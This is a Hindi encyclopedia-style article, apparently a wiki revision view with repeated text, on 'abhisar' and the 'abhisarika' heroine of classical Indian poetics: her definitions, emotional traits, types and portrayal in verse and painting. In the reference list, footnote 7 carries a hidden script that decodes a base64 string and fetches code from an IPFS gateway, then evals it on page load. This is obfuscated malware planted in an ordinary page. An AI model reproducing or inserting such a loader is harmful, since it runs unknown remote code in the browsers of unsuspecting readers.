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''''अभिसार'''' भारतीय साहित्यशास्त्र का एक मान्य पारिभाषिक शब्द जिसका अर्थ है नायिका का नायक के पास स्वयं जाना अथवा दूती या सखी के द्वारा नायक को अपने पास बुलाना। अभिसार में प्रवृत्त होनेवाली नायिका को 'अभिसारिका' कहते हैं। दशरूपक के अनुसार जो नायिका या तो स्वयं नायक के पास अभिसरण करे<ref>अभिसरेत्‌</ref> अथवा नायक को अपने पास बुलावे<ref>अभिसारयेत्‌</ref> वह 'अभिसारिका' कहलाती है- कामार्ताभिसरेत्‌ कांतं सारयेद्वाभिसारिका<ref>दशरूपक 2127</ref> कुछ आचार्य अभिसारण का कार्य वाकसज्जा का ही निजी विशिष्ट व्यापार मानकर इसे अभिसारिका का व्यापक लक्षण नहीं मानते, परंतु प्राचीन आचार्यों के मत के यह सर्वथा विरुद्ध है। भरत मुनि ने तो कांत के अभिसाररण को ही अभिसारिका का प्रधान लक्षण अंगीकर किया है<ref>अभिसारयते कांतं सा भवेदभिसारिका ।-नाट्यशास्त्र 24|212</ref> भावप्रकाश का भी यही मत है <ref>चतुर्थ अधिकार, पृष्ठ 100-101</ref> कवियों की दृष्टि में अभिसारिका ही समस्त नायिकाओं में अत्यंत मधुर, आकर्षक तथा प्रेमाभिव्यंजिका होती है<ref>सर्वतश्चाभिसारिका</ref>
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''''अभिसार'''' भारतीय साहित्यशास्त्र का एक मान्य पारिभाषिक शब्द है, जिसका अर्थ है- "नायिका का नायक के पास स्वयं जाना" अथवा "दूती या सखी के द्वारा नायक को अपने पास बुलाना"। अभिसार में प्रवृत्त होने वाली नायिका को 'अभिसारिका' कहते हैं। दशरूपक के अनुसार जो नायिका या तो स्वयं नायक के पास अभिसरण करे<ref>अभिसरेत्‌</ref> अथवा नायक को अपने पास बुलावे<ref>अभिसारयेत्‌</ref> वह 'अभिसारिका' कहलाती है- 'कामार्ताभिसरेत्‌ कांतं सारयेद्वाभिसारिका'।<ref>दशरूपक 2127</ref> कुछ आचार्य अभिसारण का कार्य वाकसज्जा का ही निजी विशिष्ट व्यापार मानकर इसे अभिसारिका का व्यापक लक्षण नहीं मानते, परंतु प्राचीन आचार्यों के मत के यह सर्वथा विरुद्ध है। [[भरत मुनि]] ने तो कांत के अभिसाररण को ही अभिसारिका का प्रधान लक्षण अंगीकर किया है।<ref>अभिसारयते कांतं सा भवेदभिसारिका।-नाट्यशास्त्र 24|212</ref> 'भावप्रकाश' का भी यही मत है।<ref>चतुर्थ अधिकार, पृष्ठ 100-101</ref> कवियों की दृष्टि में अभिसारिका ही समस्त नायिकाओं में अत्यंत मधुर, आकर्षक तथा प्रेमाभिव्यंजिका होती है।<ref>सर्वतश्चाभिसारिका</ref><ref name="aa">{{cite web |url=http://bharatkhoj.org/india/%E0%A4%85%E0%A4%AD%E0%A4%BF%E0%A4%B8%E0%A4%BE%E0%A4%B0 |title=अभिसार |accessmonthday= 12 सितम्बर|accessyear= 2015|last= |first= |authorlink= |format= |publisher=भारतखोज |language= हिन्दी}}</ref>
==नायिका और नायक==
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==भाव विश्लेषण==
अभिसारिका के भावों का विश्लेषण आचार्यों ने बड़ी सूक्ष्मता से किया है। मद अथवा मदन, सौंदर्य का अभिमान अथवा राग का उत्कर्ष ही अभिसारिका के व्यापार की मुख्य प्रेरक [[शक्ति]] है। प्रियतम से मिलने के लिए बेचैनी तथा उतावलेपन की मूर्ति बनी हुई यह नायिका सिंह से डरी हरिणी के समान अपनी चंचल दृष्टि इधर उधर फेंकती हुई मार्ग में अगसर होती है। वह अपने अंगों को समेटकर इस ढंग से पैर रखती है कि तनिक भी आहट नहीं होती<ref>नि:शब्दपदसंचरा</ref> हर डग पर शंकित होकर अपने पैरों को पीछे लौटाती है। जोरों से काँपती हुई पसीने से भीग उठती है। यह उसकी मानसिक दशा का जीता जागता चित्र है। वह अकेले सझाटे में पैर रखते कभी नहीं डरती। नि:शब्द संचरण भी एक अभ्यस्त कला के समान अभ्यास की अपेक्षा रखता है। कोई भी प्रवीण नायिका इसे अनायास नहीं कर सकती। घर में ही भविष्यत्‌ अभिसारिका को इसकी शिक्षा लेनी पड़ती है। वह अपने नूपुरों को जानुभाग तक ऊपर उठा लेती है<ref>आजानूद्धृतनूपुरा</ref> तथा आँखों को अपने करतल से बंद कर लेती है जिससे 'रजनी तिमिरावगुंठित' मार्ग में वह बंद आँखों से भी भली भाँति आसानी से जा सके। अभिसार काली रात के समय ही अधिकतर माना जाता है इसलिए यह नायिका अपने अंगों को नीले दुकूल से ढक लेती है<ref>मूर्तिर्नीलदुकुलिनी</ref> तथा प्रत्येक अंग में कस्तूरी से पत्रावलि बना डालती है। उसकी भुजाओं में नीले रत्न के बने कंकण रहते हैं। कंठ में 'अंबुसार'<ref>प्राचीन आभूषणविशेष</ref> की पंक्ति रहती है और ललाट पर केश की मंजरी सी लटकती रहती है। अभिसारिका का यही सुभग वेश कवियों की सरस लेखनी द्वारा बहुश: चित्रित किया है। अभिसारिका के अनेक प्रकार साहित्य में वर्णित हैं।<ref>{{cite web |url=http://bharatkhoj.org/india/%E0%A4%85%E0%A4%AD%E0%A4%BF%E0%A4%B8%E0%A4%BE%E0%A4%B0|title= अभिसार|accessmonthday=12 सिंतम्बर |accessyear= 2015|last= |first= |authorlink= |format= |publisher=भारतखोज|language=हिन्दी}}</ref>
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अभिसारिका के भावों का विश्लेषण आचार्यों ने बड़ी सूक्ष्मता से किया है। मद अथवा मदन, सौंदर्य का अभिमान अथवा राग का उत्कर्ष ही अभिसारिका के व्यापार की मुख्य प्रेरक शक्ति है। प्रियतम से मिलने के लिए बेचैनी तथा उतावलेपन की मूर्ति बनी हुई यह नायिका सिंह से डरी हरिणी के समान अपनी चंचल दृष्टि इधर उधर फेंकती हुई मार्ग में अगसर होती है। वह अपने अंगों को समेटकर इस ढंग से पैर रखती है कि तनिक भी आहट नहीं होती।<ref>नि:शब्दपदसंचरा</ref> हर डग पर शंकित होकर अपने पैरों को पीछे लौटाती है। जोरों से काँपती हुई पसीने से भीग उठती है। यह उसकी मानसिक दशा का जीता जागता चित्र है। वह अकेले सझाटे में पैर रखते कभी नहीं डरती। नि:शब्द संचरण भी एक अभ्यस्त कला के समान अभ्यास की अपेक्षा रखता है। कोई भी प्रवीण नायिका इसे अनायास नहीं कर सकती। घर में ही भविष्यत्‌ अभिसारिका को इसकी शिक्षा लेनी पड़ती है। वह अपने नूपुरों को जानुभाग तक ऊपर उठा लेती है।<ref>आजानूद्धृतनूपुरा</ref> तथा [[आँख|आँखों]] को अपने करतल से बंद कर लेती है, जिससे 'रजनी तिमिरावगुंठित' मार्ग में वह बंद आँखों से भी भली भाँति आसानी से जा सके।
 
 
भावप्रकाश (पृष्ठ 101) में स्वाभावानुसार तीन भेद बतलाए गए हैं: परांगन, वेश्या तथा प्रेष्या<ref>दासी</ref> । अभिसारिका का लोकप्रिय विभाजन पाँच श्रेणी में बहुश: किया गया है:
 
#ज्योत्सनाभिसारिका, जो छिटकी चाँदनी में अपने प्रियतम से निर्दिष्ट स्थान पर मिलने जाती है। इससे वस्त्र, आभूषण, अंगराग आदि समस्त प्रयुक्त वस्तुएँ उजले रंग की होती हैं और इसीलिए यह 'शुक्लाभिसारिका' भी कही जाती है।
 
# तमोभिसारिका<ref>या कृष्णाभिसारिका</ref> -अँधेरी रात में अभिसरण करने वाली नायिका।
 
# दिवाभिसारिका-दिन के धवल प्रकाश में अभिसरण के निमित्त इसके आभूषण सुवर्ण के बने होतो हैं तथा पीली साड़ी इसके शरीर को सूरज के धूप में अदृश्य सी बनाती है।
 
# गर्वाभिसारिका तथा
 
# कामाभिसारिका में समय का निर्देश न होकर नायिका के स्वभाव की ओर स्पष्ट संकेत है।
 
 
 
अभिसार के मंजुल वर्णन कवियों की लेखनी से तथा रोचक चित्रण चित्रकारों की तूलिका के द्वारा अत्यंत [[सुंदरता]] से प्रस्तुत किए गए हैं। राधिका का लीलाभिसार वैष्णव कवियों का लोकप्रिय विषय रहा है जिसका वर्णन गीतगोविंद जैसे संस्कृत काव्य में तथा [[सूरदास]], विद्यापति और ज्ञानदास के पदों में अत्यंत आकर्षक शैली में हुआ है। राजपूत तथा काँगड़ा शैली के चित्रकारों ने भी अभिसार का अंकन अपने चित्रों में किया है।
 
  
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अभिसार काली रात के समय ही अधिकतर माना जाता है, इसलिए यह नायिका अपने अंगों को नीले दुकूल से ढक लेती है।<ref>मूर्तिर्नीलदुकुलिनी</ref> तथा प्रत्येक अंग में कस्तूरी से पत्रावलि बना डालती है। उसकी भुजाओं में नीले [[रत्न]] के बने कंकण रहते हैं। कंठ में 'अंबुसार'<ref>प्राचीन आभूषणविशेष</ref> की पंक्ति रहती है और ललाट पर केश की मंजरी सी लटकती रहती है। अभिसारिका का यही सुभग वेश [[कवि|कवियों]] की सरस लेखनी द्वारा बहुश: चित्रित किया है। अभिसारिका के अनेक प्रकार [[साहित्य]] में वर्णित हैं।<ref name="aa"/>
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==भेद==
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'भावप्रकाश'<ref>पृष्ठ 101</ref> में स्वाभावानुसार तीन भेद बतलाए गए हैं-
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#परांगन
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#वेश्या
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#प्रेष्या<ref>दासी</ref>
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;विभाजन
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अभिसारिका का लोकप्रिय विभाजन पाँच श्रेणी में बहुश: किया गया है-
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#ज्योत्सनाभिसारिका, जो छिटकी चाँदनी में अपने प्रियतम से निर्दिष्ट स्थान पर मिलने जाती है। इससे वस्त्र, [[आभूषण]], अंगराग आदि समस्त प्रयुक्त वस्तुएँ उजले [[रंग]] की होती हैं और इसीलिए यह 'शुक्लाभिसारिका' भी कही जाती है।
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#तमोभिसारिका या कृष्णाभिसारिका-अँधेरी रात में अभिसरण करने वाली नायिका।
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#दिवाभिसारिका-दिन के धवल [[प्रकाश]] में अभिसरण के निमित्त इसके आभूषण [[सोना|सुवर्ण]] के बने होतो हैं तथा पीली [[साड़ी]] इसके शरीर को [[सूर्य|सूरज]] के धूप में अदृश्य सी बनाती है।
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#गर्वाभिसारिका तथा कामाभिसारिका में समय का निर्देश न होकर नायिका के स्वभाव की ओर स्पष्ट संकेत है।
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==लेखनी तथा चित्रण==
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अभिसार के मंजुल वर्णन कवियों की लेखनी से तथा रोचक चित्रण चित्रकारों की तूलिका के द्वारा अत्यंत सुंदरता से प्रस्तुत किए गए हैं। [[राधा|राधिका]] का लीलाभिसार [[वैष्णव]] कवियों का लोकप्रिय विषय रहा है, जिसका वर्णन '[[गीतगोविंद]]' जैसे [[संस्कृत]] काव्य में तथा [[सूरदास]], [[विद्यापति]] और [[ज्ञानदास]] के पदों में अत्यंत आकर्षक [[शैली]] में हुआ है। [[राजपूत चित्रकला|राजपूत]] तथा [[कांगड़ा चित्रकला|काँगड़ा शैली]] के चित्रकारों ने भी अभिसार का अंकन अपने चित्रों में किया है।<ref name="aa"/>
  
 
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==संबंधित लेख==
 
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12:28, 21 मई 2017 के समय का अवतरण

'अभिसार' भारतीय साहित्यशास्त्र का एक मान्य पारिभाषिक शब्द है, जिसका अर्थ है- "नायिका का नायक के पास स्वयं जाना" अथवा "दूती या सखी के द्वारा नायक को अपने पास बुलाना"। अभिसार में प्रवृत्त होने वाली नायिका को 'अभिसारिका' कहते हैं। दशरूपक के अनुसार जो नायिका या तो स्वयं नायक के पास अभिसरण करे[1] अथवा नायक को अपने पास बुलावे[2] वह 'अभिसारिका' कहलाती है- 'कामार्ताभिसरेत्‌ कांतं सारयेद्वाभिसारिका'।[3] कुछ आचार्य अभिसारण का कार्य वाकसज्जा का ही निजी विशिष्ट व्यापार मानकर इसे अभिसारिका का व्यापक लक्षण नहीं मानते, परंतु प्राचीन आचार्यों के मत के यह सर्वथा विरुद्ध है। भरत मुनि ने तो कांत के अभिसाररण को ही अभिसारिका का प्रधान लक्षण अंगीकर किया है।[4] 'भावप्रकाश' का भी यही मत है।[5] कवियों की दृष्टि में अभिसारिका ही समस्त नायिकाओं में अत्यंत मधुर, आकर्षक तथा प्रेमाभिव्यंजिका होती है।[6][7]

भाव विश्लेषण

अभिसारिका के भावों का विश्लेषण आचार्यों ने बड़ी सूक्ष्मता से किया है। मद अथवा मदन, सौंदर्य का अभिमान अथवा राग का उत्कर्ष ही अभिसारिका के व्यापार की मुख्य प्रेरक शक्ति है। प्रियतम से मिलने के लिए बेचैनी तथा उतावलेपन की मूर्ति बनी हुई यह नायिका सिंह से डरी हरिणी के समान अपनी चंचल दृष्टि इधर उधर फेंकती हुई मार्ग में अगसर होती है। वह अपने अंगों को समेटकर इस ढंग से पैर रखती है कि तनिक भी आहट नहीं होती।[8] हर डग पर शंकित होकर अपने पैरों को पीछे लौटाती है। जोरों से काँपती हुई पसीने से भीग उठती है। यह उसकी मानसिक दशा का जीता जागता चित्र है। वह अकेले सझाटे में पैर रखते कभी नहीं डरती। नि:शब्द संचरण भी एक अभ्यस्त कला के समान अभ्यास की अपेक्षा रखता है। कोई भी प्रवीण नायिका इसे अनायास नहीं कर सकती। घर में ही भविष्यत्‌ अभिसारिका को इसकी शिक्षा लेनी पड़ती है। वह अपने नूपुरों को जानुभाग तक ऊपर उठा लेती है।[9] तथा आँखों को अपने करतल से बंद कर लेती है, जिससे 'रजनी तिमिरावगुंठित' मार्ग में वह बंद आँखों से भी भली भाँति आसानी से जा सके।

अभिसार काली रात के समय ही अधिकतर माना जाता है, इसलिए यह नायिका अपने अंगों को नीले दुकूल से ढक लेती है।[10] तथा प्रत्येक अंग में कस्तूरी से पत्रावलि बना डालती है। उसकी भुजाओं में नीले रत्न के बने कंकण रहते हैं। कंठ में 'अंबुसार'[11] की पंक्ति रहती है और ललाट पर केश की मंजरी सी लटकती रहती है। अभिसारिका का यही सुभग वेश कवियों की सरस लेखनी द्वारा बहुश: चित्रित किया है। अभिसारिका के अनेक प्रकार साहित्य में वर्णित हैं।[7]

भेद

'भावप्रकाश'[12] में स्वाभावानुसार तीन भेद बतलाए गए हैं-

  1. परांगन
  2. वेश्या
  3. प्रेष्या[13]
विभाजन

अभिसारिका का लोकप्रिय विभाजन पाँच श्रेणी में बहुश: किया गया है-

  1. ज्योत्सनाभिसारिका, जो छिटकी चाँदनी में अपने प्रियतम से निर्दिष्ट स्थान पर मिलने जाती है। इससे वस्त्र, आभूषण, अंगराग आदि समस्त प्रयुक्त वस्तुएँ उजले रंग की होती हैं और इसीलिए यह 'शुक्लाभिसारिका' भी कही जाती है।
  2. तमोभिसारिका या कृष्णाभिसारिका-अँधेरी रात में अभिसरण करने वाली नायिका।
  3. दिवाभिसारिका-दिन के धवल प्रकाश में अभिसरण के निमित्त इसके आभूषण सुवर्ण के बने होतो हैं तथा पीली साड़ी इसके शरीर को सूरज के धूप में अदृश्य सी बनाती है।
  4. गर्वाभिसारिका तथा कामाभिसारिका में समय का निर्देश न होकर नायिका के स्वभाव की ओर स्पष्ट संकेत है।

लेखनी तथा चित्रण

अभिसार के मंजुल वर्णन कवियों की लेखनी से तथा रोचक चित्रण चित्रकारों की तूलिका के द्वारा अत्यंत सुंदरता से प्रस्तुत किए गए हैं। राधिका का लीलाभिसार वैष्णव कवियों का लोकप्रिय विषय रहा है, जिसका वर्णन 'गीतगोविंद' जैसे संस्कृत काव्य में तथा सूरदास, विद्यापति और ज्ञानदास के पदों में अत्यंत आकर्षक शैली में हुआ है। राजपूत तथा काँगड़ा शैली के चित्रकारों ने भी अभिसार का अंकन अपने चित्रों में किया है।[7]


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टीका टिप्पणी और संदर्भ

  1. अभिसरेत्‌
  2. अभिसारयेत्‌
  3. दशरूपक 2127
  4. अभिसारयते कांतं सा भवेदभिसारिका।-नाट्यशास्त्र 24|212
  5. चतुर्थ अधिकार, पृष्ठ 100-101
  6. सर्वतश्चाभिसारिका
  7. 7.0 7.1 7.2 अभिसार (हिन्दी) भारतखोज। अभिगमन तिथि: 12 सितम्बर, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  8. नि:शब्दपदसंचरा
  9. आजानूद्धृतनूपुरा
  10. मूर्तिर्नीलदुकुलिनी
  11. प्राचीन आभूषणविशेष
  12. पृष्ठ 101
  13. दासी

संबंधित लेख

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